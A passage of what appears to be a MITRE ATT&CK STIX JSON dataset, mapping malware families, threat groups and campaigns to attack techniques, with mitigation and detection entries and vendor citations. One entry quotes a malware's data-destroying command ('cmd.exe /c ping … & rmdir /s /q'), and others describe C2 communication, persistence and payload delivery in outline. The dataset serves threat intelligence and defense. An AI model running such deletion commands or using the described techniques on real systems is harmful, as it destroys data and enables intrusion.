Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T16:15:37.990Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has been packed with VMProtect.(Citation: Trend Micro Iron Tiger April 2021)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd380abd-e1d8-4c8a-bd87-6e7a110fe0b4","created":"2023-06-14T23:04:48.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:17:14.885Z","description":"Depending on the Linux distribution, [RotaJakiro](https://attack.mitre.org/software/S1078) executes a set of commands to collect device information and sends the collected information to the C2 server.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd385e5d-a066-4733-b448-b6baddb10083","type":"relationship","created":"2019-07-09T17:42:44.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.133Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has the ability to delete a specified file.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd39f1a9-8eb4-4818-8597-ed228d7dba83","type":"relationship","created":"2021-04-06T12:22:23.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.318Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has downloaded additional lateral movement scripts from C2.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd3eb448-d9b3-4e25-b6ad-3992eee64ea8","type":"relationship","created":"2020-10-12T17:50:31.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-27T16:43:25.179Z","description":"Limit user access to system utilities such as 'systemctl' or 'systemd-run' to users who have a legitimate need.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd417d31-d129-44ac-8a9f-b14b79235dfa","created":"2019-01-29T20:05:36.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense NanoCore Mar 2018","description":"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:04.344Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.(Citation: Cofense NanoCore Mar 2018)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd434e57-9813-4e3f-ac86-f9ddc6313704","type":"relationship","created":"2020-03-13T20:33:00.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:33:00.338Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd4423f6-b526-4856-aa00-2c4aa36617da","type":"relationship","created":"2020-08-11T21:15:35.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.628Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has used encoded data within subdomains as AES ciphertext to communicate from the host to the C2.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd45bff3-368a-4a3b-a97e-8bdeb753aedf","type":"relationship","created":"2020-12-07T20:05:43.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:11:44.282Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has staged stolen files in the C:\\AMD\\Temp directory.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd48cdb6-ab24-410b-ac3e-624b1ed8cf92","type":"relationship","created":"2021-03-01T21:23:22.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.799Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has required user execution of a malicious MSI installer.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd49448e-10e3-4138-916b-1f3ba0727104","created":"2022-09-22T00:32:29.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T16:50:38.201Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors compromised web servers to use for C2.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd49738c-ba78-41bb-a459-65e89d3faf2a","created":"2023-02-21T19:39:39.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Protecting Microsoft 365 From On-Premises Attacks","description":"Microsoft. (2022, August 26). Protecting Microsoft 365 from on-premises attacks. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/protect-m365-from-on-premises-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T16:16:41.175Z","description":"Limit the number of high-privileged domain and cloud accounts, and ensure that these are not used for day-to-day operations. Ensure that on-premises accounts do not have privileged cloud permissions and that isolated, cloud-only accounts are used for managing cloud environments.(Citation: Protecting Microsoft 365 From On-Premises Attacks)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd4a0bb3-b9f0-4d69-9768-a17d95783398","type":"relationship","created":"2019-02-18T20:33:58.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","source_name":"Palo Alto OilRig Sep 2018"}],"modified":"2019-04-23T19:32:14.791Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) can download or upload files from its C2 server.(Citation: Palo Alto OilRig Sep 2018)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dd4ab207-a8d7-4b33-94bf-be87635cc853","created":"2022-06-07T17:40:04.685Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can delete files via `C:\\Windows\\system32\\cmd.exe /c ping 1.1.1.1 -n 1 -w 3000 > Nul & rmdir /s /q`.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T17:49:22.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd4c57df-6ddc-4a41-b1ee-5f72556fc57d","type":"relationship","created":"2020-11-06T19:39:44.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T19:39:44.060Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can collect information on installed applications.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd4da2e6-a54b-4420-9ed6-ebb3080bd2f8","type":"relationship","created":"2020-05-06T15:26:38.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T15:26:38.958Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list processes on the compromised host.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd582e36-081c-4bc7-ab2a-cc859c7930bc","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor newly executed processes that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd584826-35e3-4c6f-8186-b5f5a9ea5229","created":"2024-07-17T20:05:43.270Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-17T20:05:43.270Z","description":"[Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) passed execution from obfuscated JavaScript files to PowerShell scripts to download and install [Pikabot](https://attack.mitre.org/software/S1145).(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd5add56-119e-4d40-983b-f2a41ba98abf","type":"relationship","created":"2020-03-19T21:47:07.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","source_name":"US-CERT TYPEFRAME June 2018"},{"url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","source_name":"US-CERT TYPEFRAME June 2018"}],"modified":"2020-03-20T17:47:38.453Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can uninstall malware components using a batch script.(Citation: US-CERT TYPEFRAME June 2018) [TYPEFRAME](https://attack.mitre.org/software/S0263) can execute commands using a shell.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd67596a-64c6-4dfb-b498-e7d5c1886090","type":"relationship","created":"2020-11-06T19:39:44.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T19:39:44.074Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can collect drive information from a compromised host.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd689e6a-443d-4465-b637-a7befde5e052","created":"2024-03-25T21:26:00.339Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:26:00.339Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has deployed [BlackCat](https://attack.mitre.org/software/S1068) ransomware to victim environments for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd6b6ddd-cecc-4181-af98-d6b4ce6a43a7","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T20:53:59.197Z","description":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nNote: Sysmon Event ID 7 (Image loaded) can be used to monitor for suspicious DLLs loaded by the DCOM Server Process Launcher which runs inside of svchost.exe. This is a particularly noisy event and can generate a large volume of data, so we recommend baselining and filtering out any known benign svchost.exe module loads that occur as part of its typical operation.","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd6eca67-574c-433a-8764-12cc802a0387","type":"relationship","created":"2022-03-24T22:31:32.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.680Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can establish a LNK file in the startup folder for persistence.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd7875c3-fbe2-4b9a-a580-9e730a619610","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.https://tools.cisco.com/security/center/resources/integrity_assurance.html#7\r\n\r\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dd7f2e12-d646-4a89-9ba6-4f20e88fb7db","created":"2022-08-16T19:48:48.626Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Small Sieve](https://attack.mitre.org/software/S1035) has the ability to use the Telegram Bot API from Telegram Messenger to send and receive messages.(Citation: NCSC GCHQ Small Sieve Jan 2022)","modified":"2022-08-16T19:48:48.626Z","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd812f2c-a0a0-4543-af23-25e71c899bf4","type":"relationship","created":"2020-05-22T20:27:31.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.512Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to capture screenshots and webcam photos.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd82187a-7a40-45c3-a1d2-66d37bc6146e","created":"2022-01-09T21:43:03.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.688Z","description":"[Hikit](https://attack.mitre.org/software/S0009) can upload files from compromised machines.(Citation: 